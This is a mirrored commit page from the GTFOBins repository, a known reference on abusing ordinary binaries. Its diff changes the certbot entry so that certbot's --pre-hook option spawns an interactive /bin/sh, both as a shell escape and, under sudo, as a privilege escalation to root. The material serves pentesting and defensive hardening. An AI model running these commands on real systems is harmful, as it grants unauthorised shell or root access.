mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-03 18:28:43 +01:00 
			
		
		
		
	Promote certbot command to shell
This commit is contained in:
		@@ -1,9 +1,11 @@
 | 
			
		||||
---
 | 
			
		||||
functions:
 | 
			
		||||
  sudo:
 | 
			
		||||
    - description: A temporary directory is created to not mess around with the current installation. The certbot server has to be reachable. The command output is visible in the certbot output.
 | 
			
		||||
      code: |
 | 
			
		||||
        COMMAND='id'
 | 
			
		||||
  shell:
 | 
			
		||||
    - code: |
 | 
			
		||||
        TF=$(mktemp -d)
 | 
			
		||||
        sudo certbot certonly --standalone -n --dry-run -d example.net --work-dir $TF --config-dir $TF --agree-tos --register-unsafely-without-email --pre-hook "$COMMAND"
 | 
			
		||||
        certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'
 | 
			
		||||
  sudo:
 | 
			
		||||
    - code: |
 | 
			
		||||
        TF=$(mktemp -d)
 | 
			
		||||
        sudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user